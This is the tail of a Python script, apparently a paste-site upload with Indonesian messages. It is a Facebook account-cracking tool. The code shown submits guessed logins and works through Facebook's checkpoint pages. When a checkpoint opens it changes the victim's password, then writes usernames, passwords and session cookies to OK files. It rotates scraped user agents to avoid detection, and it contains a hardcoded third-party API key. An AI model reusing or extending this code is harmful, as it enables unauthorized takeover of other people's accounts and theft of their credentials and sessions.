  1303.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1304.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1305.                         for b in resUbah("input"):
  1306.                             dat2.update({b.get("name"):b.get("value")})
  1307.                         dat2.update({"password_new":"".join(pwbaru)})
  1308.                         an=session.post(url+link3.get("action"),data=dat2)
  1309.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1310.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1311.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1312.                         cek_apk(kuki)
  1313.                 else:
  1314.                     print("\r%s%s \033[0m\x1b[1;92mCheckpoint Terbuka, Akun Tap Yes Silahkan Login      "%(H,til))
  1315.                     tree = Tree(" ",guide_style=f"{color_ok}")
  1316.                     tree.add(Panel(f"{H2}{ua}{P2}",width=83,padding=(0,2),style=f"{color_ok}"))
  1317.                     prints(tree)
  1318.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1319.                     cek_apk(kuki)
  1320.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1321.                 print("\r%s\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1322.             else:
  1323.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1324.         else:
  1325.             if "c_user" in session.cookies.get_dict():
  1326.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1327.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1328.         for opsi in range(len(cek)):
  1329.             number +=1
  1330.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1331.     elif "login_error" in str(response):
  1332.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1333.         print("%s %s"%(M,oh))
  1334.     else:
  1335.         tree = Tree(" ",guide_style=f"{color_panel}")
  1336.         tree.add(Panel(f"{M}login gagal, silahkan cek kembali id dan kata sandi{P}",width=83,padding=(0,2),style=f"{color_panel}"))
  1337.         prints(tree)
  1338.          
  1339. def scarpping_ua():
  1340.     # Url & Headers website #
  1341.    
  1342.    
  1343.     url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
  1344.     header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
  1345.    
  1346.     # Main menu #
  1347.    
  1348.   #  os.system('clear')
  1349.     try:
  1350.         response = requests.get(url,headers=header)
  1351.         if response.status_code == 200:
  1352.             uascrap.append(response.json()['ua'])
  1353.         else:
  1354.             uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1355.     except requests.exceptions.ConnectionError:
  1356.         uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1357.  
  1358. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1359. if __name__=='__main__':
  1360.     try:os.system('git pull')
  1361.     except:pass
  1362.     try:os.mkdir('OK')
  1363.     except:pass
  1364.     try:os.mkdir('CP')
  1365.     except:pass
  1366.     try:os.mkdir('DUMP')
  1367.     except:pass
  1368.     try:os.system('touch .prox.txt')
  1369.     except:pass
  1370.     try:os.system('clear')
  1371.     except:pass
  1372.     login()
Add Comment
Please, Sign In to add comment